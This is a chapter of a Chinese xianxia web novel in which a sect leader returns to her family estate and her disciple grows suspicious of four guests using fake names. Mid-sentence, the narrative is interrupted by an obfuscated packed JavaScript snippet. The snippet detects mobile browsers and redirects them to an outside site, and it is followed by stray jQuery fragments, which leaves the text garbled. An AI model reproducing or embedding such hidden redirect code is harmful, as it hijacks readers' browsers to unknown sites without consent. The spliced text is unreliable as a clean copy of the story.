馒馒吃芒狗 作品
70. 临春听雨(5)
提起道袍衣摆一步一步走上台阶,眼前是古朴的雕花门廊,和普通的世家没有任何区别,只有头顶上高悬的“花”字匾额忽地亮出一道浅淡的绿光。
“花掌门,您回来了?您……”拦在门口管家模样的人恭敬朝花满蕊行了一礼,看见她身后的花恒远之后又行了一礼,“三小姐。”
还未直起身子,她似乎是才看到花恒远身后跟着的不认识的人,眼中闪过狐疑,张了张口,看上去是想要询问,但似乎是因为花满蕊的缘故,她没能问出口,只是拿起典册记录起来:
“午时二刻归者:花掌门”,随后她又用灵笔将“掌门”二字划掉,改成“满蕊”。
“典册修改后,可否查询修改痕迹?”花满蕊抬眼问她。
管家道:“自然,无论有没有修改,都可查到。”
花满蕊点头,直直踏入门槛,连头都未多转一下。
花恒远见状,连忙对管家抬抬下巴,“他们四位是我请来的贵客,别怠慢了。”随后便三步并作两步跑到了花满蕊身边,笑吟吟地挽起她的胳膊,“花姐姐要不要住到我的别院去?大姐喜欢清净,二哥……这两天不怎么安生,五弟正在回来的路上,只有我能好好地照顾到花姐姐。”
澈远张口想要说客房即可,但看见花满蕊微微侧头,便收了心思。
他也学着花满蕊的样子侧过头,发现刚好可以看到易姑娘一行人,耳边也传来他们和管家的对话:
“请问诸位名姓?”
“易……易术,《周易》的易,术法的术。”
“嗯……我叫易法,《周易》的易,术法的法。”
“咳咳……劳驾,在下胡海,最常见的那两个字。”
“呵……祝秋。”
管家一一记下,随后伸头问道:“三小姐,安排这四位贵客住哪里?”
花恒远扭头道:“离我最近的客房就好。”
管家点点头,随后唤来几位侍从领着易术一行四人,保持着落后花满蕊等人十步的距离走着。
……
现在澈远不想住客房了,他听着这滑稽得把人当傻子的化名,也不顾花恒远仍在侧,直接幻化出撼波拿在手中,直言道:“师尊,这四人实在是有些猖狂了。”
他没有特意压低音量,倒不如说是故意想让后面的人听见。
花满蕊听得懂他言外之意,把头转回来平视前方,不紧不慢道:“你方才才探过他们。”
“……是。”金光暗了一暗。
花恒远见状,不动声色地往后退了一步,也不在乎花满蕊有没有回答她的问题了,她只和旁边的侍女交换了一下眼神,两人识趣地眼观鼻鼻观心,身侧的一溜仆从们也各自散去,不露出任何对外人的好奇。
澈远感觉到气氛忽地严肃了起来,按理说他现在不应该再继续这个话题,但他还是硬着头皮又往前赶了一步。
虽然花满蕊没有明说,但是澈远知道自家师尊是在说:既然自己都探查了没有异样,那为什么还要如此紧咬着不放。
澈远的嘴唇紧紧抿了起来,继续道:“是,方才的确没有异样,但或许是弟子不够认真。”
他第一次把自己放在做事不严谨这个位置上来推动话题,是以有些心虚地移开了眼神,只用余光观察着师尊的反应。
花满蕊只是轻轻点头,“此处不比松雪峰。”
她表情默然,日光透过屋檐照射到她挽在脑后的长发上,呈现出灰墨一样的质感——澈远这时才发现向来注重仪表的师尊此时的头发却莫名显得有些凌乱。
他不由自主地想要伸手为花满蕊整理,但下一瞬花满蕊头上的光斑却消失了,周围忽地暗了下来,他这才发现他们已经转进了长廊,有些逼仄的空间让他不得不靠得离花满蕊更近一些。
澈远第一反应是放轻呼吸,尽量避免惊扰到师尊的安宁。
同时他这才来得及思考刚才花满蕊的话里到底有些什么意思。
——是在说这里并非他们的地盘,所以不要如此出风头?还是提醒自己他们四人是被花家三小姐花恒远认下的贵客,自己不要多管闲事?
可是捉拿道门的弑师逃犯,定然是比为花家解决杀人悬案更急切紧迫的事情才对。况且花家还是师尊的本家,在自己家里,不该更放松些才是么?
还是说师尊其实知道他们的真实身份,但就是不想揭穿?
不,不可能。
以昨日师尊的表现来看,师尊绝不可能做出包庇那叶繁枝的事情。毕竟自己跟随师尊多年,只见过两次澜云弓使出破魔箭的模样——一次是当年师祖仙陨之日,师尊从重伤的人堆中爬出来,用余下的所有法力凝成灵箭,直奔带着师祖逃窜的叶繁枝而去,但很不幸,由于师尊伤势实在太重,再加上当时叶繁枝完全是魔化的状态,所以那一箭连叶繁枝的护体灵气都没打破;再一次便是昨日,众目睽睽之下,师尊一箭射穿了叶繁枝的心肺。
况且,当年叶繁枝销声匿迹后,师尊就把叶繁枝曾经的居所——折柳居给彻底封了起来,连带着屋中所有的奇珍异宝都被丢弃到了后山中最破旧的库房里,师尊对她肯定是深恶痛绝的才对。
种种细节在澈远脑中一一闪过,突然,画面定格在方才他们初遇这四人时,师尊的表现上。
师尊好像并不惊讶叶繁枝受了一箭后仍然活着并且轻易从自己手上溜走这件事,而师尊也并不奇怪那名青衣妖兽跟着叶繁枝一起走了的事情。
师尊嘴角那抹及其细微的微笑又回闪在澈远眼前。
所以现在的情况……是师尊故意的?
“你的探查或许会受到一些影响,所以现在可以再仔细探查一次,若有不对,可就地处理。”
花满蕊冷淡的声音把澈远的思绪拉了回来,他这才发现他们已经走到了花家的堂屋前,在跨过门槛的那一瞬,花家大小姐花恒毅和花家二公子花恒旭恭敬的声音传入耳中:
“花掌门、澈远道长。”
屋中比起亮堂的庭院来说暗了不少,即使正午时分也需要点灯才能看清其中光景。
花恒毅和花恒旭领着一众仆从垂手而立,头也微微低着,颇有种不敢直视花满蕊尊容的感觉。他们身后是一个灵光四溢却看不清运转规律的法阵——便是花家出事后布下之阵法的阵眼。
“嗯。”花满蕊不卑不亢地受了花家姐弟的礼拜,向前走出一步将花恒毅扶起来,询问道:“此处阵眼可受灵力
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15848850|169348||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
上限为多少?”
花恒毅面上一惊,她看着花满蕊身侧的花恒远,再望到由一众侍从拥着的不认识的四个穿着打扮皆古怪不善的陌生人,心里一下子明白了大半,只垂眸笑道:“此阵眼与地脉相连,只要不是像飞升雷劫一般的巨大灵力,应当都能被尽数分散出去,不会有大碍。”
花恒远闻言,这才惊觉她们在讨论什么,忙转身想要让侍从把易术一行人全都带走,可还是晚了一步,堂屋的门在花满蕊一挥手之间便关了起来。
她现在开始后悔刚才竟鬼迷心窍张口应下了这群来路不明之人的胡诌——她只是想着能通过镇守结界的人定然是深藏不露的高手,自己顺水推舟给她们做个解围的人情,或许她们便能在自己夺权之时给些助力……却忘了自家这尊多年前便上山入道的大佛。
花满蕊定是看出来了些什么!这几个人虽然可能确实有些本事,但恐怕不是正道。
这下子偷鸡不成蚀把米了,难道自己在这场争斗的开始便要被逐出局了么?不、不光是逐出局,或许自己会落得比四弟还要惨的下场……可是想着大姐和二哥房中的谋士助力们,她又觉十分不甘,手中的锦帕越握越紧,待回过神来时,锦帕上已然被汗浸湿。转头,眼看着易术四人交换了几轮眼神,花恒远的眉头不自觉地拧了起来,表情完全没了刚才的小女儿情态,正想如何能够在坏事之前先发制人,表明自己也是受害者时,花满蕊却又开口了:
“恒远,方才你说这四人是你请来的助力,可对?”
霎时间花恒远能感到有几十双或疑惑或看戏或不屑的眼睛盯着自己,她只能提起嘴角一如往常地笑着,目光嵌在花满蕊脸上不敢移向别处,但实际她却连花满蕊脸上有几只眼睛都数不清了,“在四弟出事后,我满心担忧,害怕他的魂灵被困于此处,所以才按照传闻,请了个传说中很会安抚已逝之人的道士来,却没见过本尊。”
她这番顾左右而言他的言论一出,屋中所有人便都知道她的意思了。
花恒旭一挑眉:“哦?没见过本尊却敢把陌生人领到家里来,三妹胆子越发大了,是觉得家里有花掌门坐镇撑腰,所以连基本的安危利害都抛到脑后了吗?”
花恒远忙道:“自然不是!”
花恒旭一耸肩:“那是什么?是觉得你自己就可以做花家的主了吗?”
他这番言论毫无逻辑,只透出想讥讽人的弯酸,花恒远不禁道:“你……!”
眼见两人便要闹将起来,年岁最长的花恒毅忙提醒道:“事情还未得证,怎么两人要互相指责起来了?”
他俩闻言,不知又是各想到了什么,都愤愤收了声。
澈远看他们没有要再讲话的意思,这才开口:“既如此,还请易术姑娘等人由我等检查一番。”
花恒远又张口想要说些什么,但碍于花恒毅和花恒旭在旁,她最终只是深深吸了一口气,同时对身侧的侍女暗暗比了个手势,准备见势不对便走为上计。
而就在众人都以为易术要么会夺门而逃,要么会撒泼大怒时,易术却神色自若地向前一步,也笑道:“自然可以,所谓‘疑人不用,用人不疑’,听诸位言论,好似是信不过在下。既然如此,尽请诸位用各种方式验证。在下所修皆为正道,所行也是正途,行得正坐得端,不怕查。”